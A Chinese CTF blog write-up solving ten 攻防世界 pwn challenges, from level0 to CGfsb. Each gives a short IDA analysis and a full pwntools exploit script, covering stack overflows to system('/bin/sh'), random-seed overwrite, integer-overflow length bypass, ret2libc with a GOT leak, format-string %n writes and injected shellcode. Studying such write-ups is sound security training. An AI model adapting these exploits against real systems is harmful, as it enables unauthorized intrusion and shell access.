攻防世界CTF-WriteUp

pwn

level2

IDA分析


很明显的溢出,而且还调用了system,看汇编。

拿到call_system的地址,然后shift+f12也找到了bin_sh。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r = process("level2")
#r = remote("159.138.137.79", 63180)
context(log_level="debug", arch="i386", os="linux")

r.recvuntil("Input:")
call_system_addr = 0x0804845C
bin_sh_addr = 0x0804A024
payload = 'a'*0x8c + p32(call_system_addr) + p32(bin_sh_addr)
r.send(payload)

r.interactive()

guess_num


保护全开了,IDA分析。
main反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v3; // rdi
int v5; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v7; // [rsp+Ch] [rbp-34h]
char v8; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v10; // [rsp+38h] [rbp-8h]

v10 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v5 = 0;
v7 = 0;
*(_QWORD *)seed = sub_BB0(v3, 0LL);
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v8);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v7 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v5);
puts("---------------------------------");
if ( v5 != v7 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}

sub_C3E()是cat flag的。
这题就是生成随机数,然后用户猜,猜对10次就可以了。
学过C都知道rand()是伪随机数,只要能控制随机数种子,那么随机数就能预测。

1
2
3
4
5
6
char v8; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
.
.
printf("Your name:");
gets(&v8);

名字输入处用了gets函数,因此可以溢出。看局部变量声明顺序,名字变量填充0x20字节即可溢出覆盖到种子变量seed。
用ldd命令查看程序链接库路径。

然后固定一个种子值,边调用libc的rand()生成随机数边发送即可。(若远端库版本不一样,虽然固定种子值,但生成的随机数也可能不一样,所以打pwn要尽可能地模拟出和远端一样的环境)
脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from ctypes import *

so = CDLL("/lib/x86_64-linux-gnu/libc.so.6")

#r = process("guess_num")
r = remote("159.138.137.79", 59240)
context(log_level="debug")
r.recvuntil("Your name:")
payload = 'a'*0x20 + p64(1)
r.sendline(payload)
so.srand(1)
for i in range(10):
r.recvuntil("number:")
r.sendline(str(so.rand()%6+1))

r.interactive()

int_overflow


main函数

跟进login函数

再跟进check_passwd函数

check_passwd对传入的字符串进行判断,只要长度在[4,8]之间就会将字符串复制到dest变量。
这里很明显,密码字符串的buf长度远大于dest变量,因此可以造成溢出。
然后考虑的就是绕过长度限制,v3是字符串长度,它是无符号8位整型,数值范围是0~255,结合题目名字可以知道当v3大于255的时候就会溢出,比如256就会溢出成0,那么[260,264]就可以溢出到[4,8]这个区间。应该不难理解。

8 7 6 5 4 3 2 1 0 十进制
1 1 1 1 1 1 1 1 255
1 0 0 0 0 0 0 0 0 256

8位无符号整型,有效位0~7,溢出后就为0了。
绕过了长度问题,就要想溢出后要劫持程序流到哪。
仔细找找发现还漏了一个cat flag的函数。

直接跳上去就可以了。
脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#r = process("int_overflow")
r = remote("159.138.137.79", 60855)
context(log_level="debug", arch="i386", os="linux")

cat_flag_addr = 0x0804868B

r.sendlineafter("Your choice:", "1")
r.sendlineafter("Please input your username:", "sncker")

payload = 'a'*0x18 + p32(cat_flag_addr)
payload = payload.ljust(260, 'a')
r.send(payload)

r.interactive()

cgpwn2


直接贴关键函数。


看着hello函数一堆乱起八糟的东西,直接跑一下程序。

估计是干扰的。去掉这些干扰的代码,剩下的思路就比较清晰。gets可以溢出了,pwn函数里有call_system的地址。shift+12找bin_sh没找到。仔细看一下发现name是全局变量,那么直接写bin_sh进去就可以了。
脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

#r = process("cgpwn2")
r = remote("159.138.137.79", 51100)
context(log_level="debug", arch="i386", os="linux")

call_system_addr = 0x0804855A
p_name = 0x0804A080

r.sendlineafter("name", "/bin/sh")
r.sendlineafter("here:", 'a'*0x26 + 'a'*0x4 + p32(call_system_addr) + p32(p_name))

r.interactive()

when_did_you_born



很清晰的思路,先让v5不等于1926再让v5等于1926,gets的v4可以覆盖到v5。
脚本

1
2
3
4
5
6
7
8
9
10
from pwn import *

#r = process("when_did_you_born")
r = remote("159.138.137.79", 62561)
context.log_level = "debug"

r.sendlineafter("Birth?", "1999")
r.sendlineafter("Name?", 'a'*0x8 + p64(1926))

r.interactive()

hello_pwn


又是简单的覆盖。

相差4直接填充。

1
2
3
4
5
6
7
8
from pwn import *

#r = process("hello_pwn")
r = remote("124.126.19.106", 45068)
payload = 'a'*4 + p64(1853186401)
r.sendafter("for bof", payload)

r.interactive()

level0



简单的溢出。平台放题顺序有点问题啊。

1
2
3
4
5
6
7
8
9
10
from pwn import *

#r = process("level0")
r = remote("124.126.19.106", 39454)

callsystem_addr = 0x0000000000400596
payload = 'a'*0x88 + p64(callsystem_addr)
r.sendafter("World", payload)

r.interactive()

level3

这题给了libc文件,终于要ret2libc了。。。

虽然有溢出,但是程序里没用system和binsh字符串,只能跳到libc。
那么就需要泄露一些库函数的地址,来计算出libc的基址。泄露可以用printf和write这类函数来泄露。这里可以看到在read之前,程序调用过一次write,那么got表里是有write的地址的。所以可以调用write来泄露write的真实地址。

1
2
3
4
5
vul_addr = elf.symbols["vulnerable_function"]
write_plt = elf.plt["write"]
write_got = elf.got["write"]

payload = 'a'*0x8C + p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4) #write(1,write_got,4) 返回地址vul_addr

再次跳回vulnerable_function后就是简单的ret2libc了。
完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.log_level = "debug"

elf = ELF("level3")
libc = ELF("libc_32.so.6")

r = process("level3")

vul_addr = elf.symbols["vulnerable_function"]
write_plt = elf.plt["write"]
write_got = elf.got["write"]

payload = 'a'*0x8C + p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4)
r.sendafter("put:\n", payload)
write_addr = u32(r.recv(4))
log.success("write_addr: " + str(hex(write_addr)))

libc_base = write_addr - libc.symbols["write"]
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + libc.search("/bin/sh").next()

payload = 'a'*0x8C + p32(system_addr) + p32(1) + p32(bin_sh_addr)
r.sendafter("put:\n", payload)

r.interactive()

get_shell

直接给shell,略。

string


sub_400996打印一个龙,然后申请了一块内存给v3,v4=v3,v3[0]=68,v3[1]=85,然后把地址打印出来,跟入sub_400D72(v4)。

没什么可利用的,name小于12就行。sub_400A7D里是简单的判断,就不贴了。
看sub_400BB9。

有一处格式化字符串漏洞。提示v2是输入一个地址,并且v2紧邻format,可导致任意内存写入。再看sub_400CA6。

if是判断a1[0]=al[1],然后mmap看了一下是映射内存,比如可将磁盘文件内容映射到内存里。但是这里的fd位用了-1,就是一个匿名映射。也不太了解干嘛的,但不管映射什么,都是拿到了一块内存。这里就拿到了一块0x1000的内存,然后read0x100,让我们写内存,然后转为函数指针去调用。很明显我们可以写shellcode进去。然后回溯一下a1就是最开始申请的v3。
思路就很清晰,首先通过打印得到v3地址,利用fmt漏洞将v3[0]写成85,然后就可以写shellcode了。
这里要确定一下输入的v3地址的偏移是多少。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

r = process("string")
#context(log_level="debug", arch="amd64", os="linux")

r.recvuntil("secret[0] is ")
secret_addr = int(r.recv(7),16)
log.info(hex(secret_addr))
r.sendlineafter("character's name be:\n", "sncker")
r.sendlineafter("east or up?:\n", "east")
r.sendlineafter("leave(0)?:\n", "1")
r.sendlineafter("'Give me an address'\n", str(secret_addr))
payload = "aaaa" + ".%x"*10
r.sendlineafter("you wish is:\n", payload)

r.interactive()


可以看到我们输入的地址相当于格式化字符串的第7个参数。就可以用%85c%7$n将v3[0]写成85了。
shellcode用shellcraft生成的就可以了,注意要声明64位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r = process("string")
context(log_level="debug", arch="amd64", os="linux")

r.recvuntil("secret[0] is ")
secret_addr = int(r.recv(7),16)
log.info(hex(secret_addr))
r.sendlineafter("character's name be:\n", "sncker")
r.sendlineafter("east or up?:\n", "east")
r.sendlineafter("leave(0)?:\n", "1")
r.sendlineafter("'Give me an address'\n", str(secret_addr))
#payload = "aaaa" + ".%x"*10
payload = "%85c%7$n"
r.sendlineafter("you wish is:\n", payload)
r.sendlineafter("USE YOU SPELL", asm(shellcraft.sh()))

r.interactive()

CGfsb


这题也是利用fmt写内存。将pwnme覆写成8就可以了。pwnme是全局变量可以拿到地址。然后就是确定一下偏移。

输入的字符串相当于第10个格式化参数。
然后p32(pwnme)刚好是4字节小于8所以可以把地址写在前面。

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = process("CGfsb")
context(log_level="debug", os="linux", arch="i386")
pwnme = 0x0804A068
r.sendlineafter("name:", "sncker")
payload = p32(pwnme) + "%4c%10$n" #pwnme地址4字节再用%4c补齐8个字符
r.sendlineafter("please:", payload)

r.interactive()
文章作者: SNCKER
文章链接: https://sncker.github.io/blog/2020/04/25/攻防世界CTF-WriteUp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SNCKER's blog